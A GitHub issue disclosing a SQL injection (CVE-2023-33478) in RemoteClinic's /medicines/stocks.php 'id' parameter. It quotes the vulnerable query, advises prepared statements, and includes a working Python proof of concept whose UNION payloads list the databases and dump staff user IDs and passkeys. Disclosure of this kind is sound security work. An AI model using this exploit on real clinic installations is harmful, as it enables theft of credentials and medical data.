remoteclinic / RemoteClinic

Open Source Clinic Management System
https://remoteclinic.io
Other
81 stars 55 forks source link

SQL injection vulnerability in `id` parameter of `/medicines/stocks.php` #22

Open n0kovo opened 1 year ago

n0kovo commented 1 year ago

Vulnerable code:

Line 51 in stocks.php

 $sql=mysqli_query($con, "select * from p_stock where branch='$id' order by code asc limit
  20000")or die(mysqli_error());

User data flows into this manually-constructed SQL string, leading to SQL injection. Instead, prepared statements or a safe library should be used.

Steps to reproduce / PoC:

import requests
import json

DELIMITER = "n0kovo :)"
DELIMITER_HEX = f"0x{DELIMITER.encode('ascii').hex()}"

def send_payload(payload):
    response = requests.get(
        "http://localhost/medicines/stocks.php",
        params=payload,
        cookies={"PHPSESSID": "f90qm9tq0e6r1idq9tft76f16g"},
    )
    return response.text

def main():
    get_dbs_payload = {
        "id": f"1' UNION ALL SELECT CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},schema_name)),{DELIMITER_HEX}),NULL,NULL,NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -"
    }
    dbs = json.loads(send_payload(get_dbs_payload).split(DELIMITER)[1])
    dbs = [db for db in dbs if db != "information_schema"]

    for db in dbs:
        get_users_payload = {
            "id": f"1' UNION ALL SELECT NULL,NULL,NULL,CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},userid,passkey)),{DELIMITER_HEX}),NULL,NULL,NULL FROM {db}.p_staff_dir-- -"
        }
        response = send_payload(get_users_payload)
        if DELIMITER in response:
            users = '", "'.join(response.split(DELIMITER)[1:-1])
            users = json.loads(users)
            users = zip(users[0::2], users[1::2])
            for user in users:
                output_str = f"{user[0]:<{20}}=  {user[1]}"
                print(output_str)

if __name__ == "__main__":
    main()
n0kovo commented 1 year ago

This issue has been assigned CVE-2023-33478.